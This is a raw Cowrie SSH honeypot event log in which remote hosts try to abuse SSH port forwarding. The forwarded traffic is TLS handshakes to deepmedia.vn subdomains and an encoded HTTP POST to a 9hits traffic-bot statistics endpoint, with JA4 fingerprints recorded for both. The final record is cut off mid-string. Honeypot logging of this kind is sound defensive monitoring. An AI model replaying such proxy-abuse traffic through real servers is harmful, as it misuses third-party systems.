{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:01.526888Z","src_ip":"123.27.168.40","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8\\xd2\\xa3W\\x9a\\x0e\\xfe\\x9a0\\xc79\\x1b\\xdfgQ\\x06\\xac\\xc7$\\xe6.j\\x9fM\\x1fl\\xcd\\x8f\\xc6[\\x7f\\xf0 V\\x11Y\\xa9\\x8c\\xd5l\\xe6\\xcb\\xfdw\\x99\\xe2x\\x151 \\xee\\xb7\\x95\\xcat\\xdb\\'\\xd3Uo\\x0bS$c_\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe1\\x9fZn\\xa7\\xe3\\x16\\xf5)\\x89p\\xe1\\x16\\xc8\\xaf\\xee\\x1a\\xca3cX\\xa1h^\\xb1\\xbd\\x011(\\x94\"\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8\\xd2\\xa3W\\x9a\\x0e\\xfe\\x9a0\\xc79\\x1b\\xdfgQ\\x06\\xac\\xc7$\\xe6.j\\x9fM\\x1fl\\xcd\\x8f\\xc6[\\x7f\\xf0 V\\x11Y\\xa9\\x8c\\xd5l\\xe6\\xcb\\xfdw\\x99\\xe2x\\x151 \\xee\\xb7\\x95\\xcat\\xdb\\'\\xd3Uo\\x0bS$c_\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe1\\x9fZn\\xa7\\xe3\\x16\\xf5)\\x89p\\xe1\\x16\\xc8\\xaf\\xee\\x1a\\xca3cX\\xa1h^\\xb1\\xbd\\x011(\\x94\"\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:01.530423Z","src_ip":"123.27.168.40","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:01.903255Z","src_ip":"123.27.168.40","session":"a719d548d0ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:03.865766Z","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:03.872908Z","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:03.966592Z","src_ip":"23.175.50.52","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.212 Mobile/19B81 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QHdpazVuaEJMbEZYSCVxcA%3D%3DpxQe%2FCxvB4udSRIQC%2BvIoY%2FyPtk%2BF0hQv%2FEynnZEKyhfVFhCuiCeiVfKwceTKD6ZDdb7KdzULg6j0bCiOaa9C7hA3%2BXP7v8p%2FcXVyNfL3s%2BxTs60M1WP3OKOpJ%2F6M6X7ShvYqUdIHnyJg75ZedElUSsiejp%2BZ2aHiI%2Fp0v%2BXlaNeVOSxsAP8op60SkUo5VcfN5q5a9Zw3gQ7bQdAxHllPf9UlLaT4k8t9KK9o%2BXwC%2Fckj2%2F8Ly8U8SaD4gNk0I4lcetZvnTlbJDv7hcERsaEPQYmF%2BrT4SZZOWb3kjWrlmieWQ0Gs%2FYGXU2DPxe%2FH%2BQ%2BE0N12heMgnitnCEyhIpZr6KEGmJTjPacDIj94pTLEG9CXHhvtguXmNN3jEwG09PhAYFetDvGG5gl97orcbkVk6SqNhYBg1DCS%2BzX7o8%2BLuaqXq5v02L120aBwSE89%2FfieyY4eCz5zf6z0MSrKGCiG3TslaOi8eKrU3cMAd1vpfdRLfur1fTs%2Bg6ppe4a0c6uJHYdiIWTbHOYgQ1ZW5j7xE85%2B3J2%2FfNB75woBYFYqZLBlNWGBttLGpFkj6gSj5AfiyOOVy8cfsvEkaraYf024g9TQdyXefKsTfaECBUYaQLnJ6t7IZyUYnP3jN561EfmeZ0UWc1uqB%2Bo4Tla9hx%2BsLEq5bcJZaFsQbOJXPmPtc2Njm5WahN66Fcd8Qx%2BMP2DDQh4llIeNzOrKb4GvPlWmt8T34slZjQeJ9na2WzOxPUh2peJRHar%2BXTafRPH7p7ZPOZSQX%2Fm3iYRf7piJBwDS%2FmhIyg8JjVxN2KWSOmNuY17jSrZefTYk91R4duUnwBKCKA93%2FL76VpOIDAJMgmp2RYdcaIgSMi%2Fa5fkGlGGWaJXuBwhiVggFyJDS8J1nV3%2FckIQuJoMnS9sdN61miQKLodMdyg8xXobM%2B2EjgixFfi304clloYd3oS53js%2FJGR%2F%2BVWiLmMrvvji2laqFtjJOEsEDR64mVoYmF2%2FD0RviBbTrTUJ9fAtJRd4a3dFLgvRuPi8mw0nz5yW%2FuPkAq2JMw%3D%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.212 Mobile/19B81 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QHdpazVuaEJMbEZYSCVxcA%3D%3DpxQe%2FCxvB4udSRIQC%2BvIoY%2FyPtk%2BF0hQv%2FEynnZEKyhfVFhCuiCeiVfKwceTKD6ZDdb7KdzULg6j0bCiOaa9C7hA3%2BXP7v8p%2FcXVyNfL3s%2BxTs60M1WP3OKOpJ%2F6M6X7ShvYqUdIHnyJg75ZedElUSsiejp%2BZ2aHiI%2Fp0v%2BXlaNeVOSxsAP8op60SkUo5VcfN5q5a9Zw3gQ7bQdAxHllPf9UlLaT4k8t9KK9o%2BXwC%2Fckj2%2F8Ly8U8SaD4gNk0I4lcetZvnTlbJDv7hcERsaEPQYmF%2BrT4SZZOWb3kjWrlmieWQ0Gs%2FYGXU2DPxe%2FH%2BQ%2BE0N12heMgnitnCEyhIpZr6KEGmJTjPacDIj94pTLEG9CXHhvtguXmNN3jEwG09PhAYFetDvGG5gl97orcbkVk6SqNhYBg1DCS%2BzX7o8%2BLuaqXq5v02L120aBwSE89%2FfieyY4eCz5zf6z0MSrKGCiG3TslaOi8eKrU3cMAd1vpfdRLfur1fTs%2Bg6ppe4a0c6uJHYdiIWTbHOYgQ1ZW5j7xE85%2B3J2%2FfNB75woBYFYqZLBlNWGBttLGpFkj6gSj5AfiyOOVy8cfsvEkaraYf024g9TQdyXefKsTfaECBUYaQLnJ6t7IZyUYnP3jN561EfmeZ0UWc1uqB%2Bo4Tla9hx%2BsLEq5bcJZaFsQbOJXPmPtc2Njm5WahN66Fcd8Qx%2BMP2DDQh4llIeNzOrKb4GvPlWmt8T34slZjQeJ9na2WzOxPUh2peJRHar%2BXTafRPH7p7ZPOZSQX%2Fm3iYRf7piJBwDS%2FmhIyg8JjVxN2KWSOmNuY17jSrZefTYk91R4duUnwBKCKA93%2FL76VpOIDAJMgmp2RYdcaIgSMi%2Fa5fkGlGGWaJXuBwhiVggFyJDS8J1nV3%2FckIQuJoMnS9sdN61miQKLodMdyg8xXobM%2B2EjgixFfi304clloYd3oS53js%2FJGR%2F%2BVWiLmMrvvji2laqFtjJOEsEDR64mVoYmF2%2FD0RviBbTrTUJ9fAtJRd4a3dFLgvRuPi8mw0nz5yW%2FuPkAq2JMw%3D%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:03.970054Z","src_ip":"23.175.50.52","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:03.974158Z","src_ip":"23.175.50.52","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03X\\xa4{X\\xde\\x8c\\xe4n\\xc1\\xa0V$L\\xa5\\x8b\\x10\\xef\\x8fb\\xf9\\x9fxF+)\\ra\\xce\\x816\\x18\\x95 \\xfd!(O\\xabO\\x15\\x9cP\\xd4\\x91\\xe2\\xe2\\xb8r\\xe0s\\xac\\xe1\\xd849\\x07\\xbfb\\xc5/^9v\\xe9\\xdb\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcd3\\xd3\\xe8G\\xff\\xd4\\x9b\\x84\\xf4\\x92\\x94\\xdaE\\x0f\\x8av\\xcdY\\xe9\\xe4\\xf3\\x02\\x18\\x93\\x02\\xc1\\x84\\xbb.\\xd7\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03X\\xa4{X\\xde\\x8c\\xe4n\\xc1\\xa0V$L\\xa5\\x8b\\x10\\xef\\x8fb\\xf9\\x9fxF+)\\ra\\xce\\x816\\x18\\x95 \\xfd!(O\\xabO\\x15\\x9cP\\xd4\\x91\\xe2\\xe2\\xb8r\\xe0s\\xac\\xe1\\xd849\\x07\\xbfb\\xc5/^9v\\xe9\\xdb\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcd3\\xd3\\xe8G\\xff\\xd4\\x9b\\x84\\xf4\\x92\\x94\\xdaE\\x0f\\x8av\\xcdY\\xe9\\xe4\\xf3\\x02\\x18\\x93\\x02\\xc1\\x84\\xbb.\\xd7\\x0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:03.977551Z","src_ip":"23.175.50.52","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:04.354186Z","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:20:04.414052Z","src_ip":"23.175.50.52","session":"c27fcc1a29a0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8\\x9e\\xd9Su\\x99p\\x01V,\\xab+\\xa9w\\x94\\xddQ\\xafo\\x9c\\xa4g0\\r\\xdeA\\xc1\\x8b\\xd6:i\\xb4 \\xc0N\\xdbq\\x89\\x0f\"\\xcb\\xacBC\\x8a\\x00\\xa4d\\xf7\\x9e\\x07\\x8f\\x8d\\xa26\\x9e3\\xe4\\x83\\x844-\\xdb\\x13\\xf6\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00  9\\x1e?\\xc8\\xf6\\x84\\x0f\\xe6\\x1a\\xde\\x85\\x1dF\\x98\\x9a\\tA_\\xf3V\\x01(\\x95^\\xa9r\\xd1\\x8e\\x7f\\xae\\x04\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8\\x9e\\xd9Su\\x99p\\x01V,\\xab+\\xa9w\\x94\\xddQ\\xafo\\x9c\\xa4g0\\r\\xdeA\\xc1\\x8b\\xd6:i\\xb4 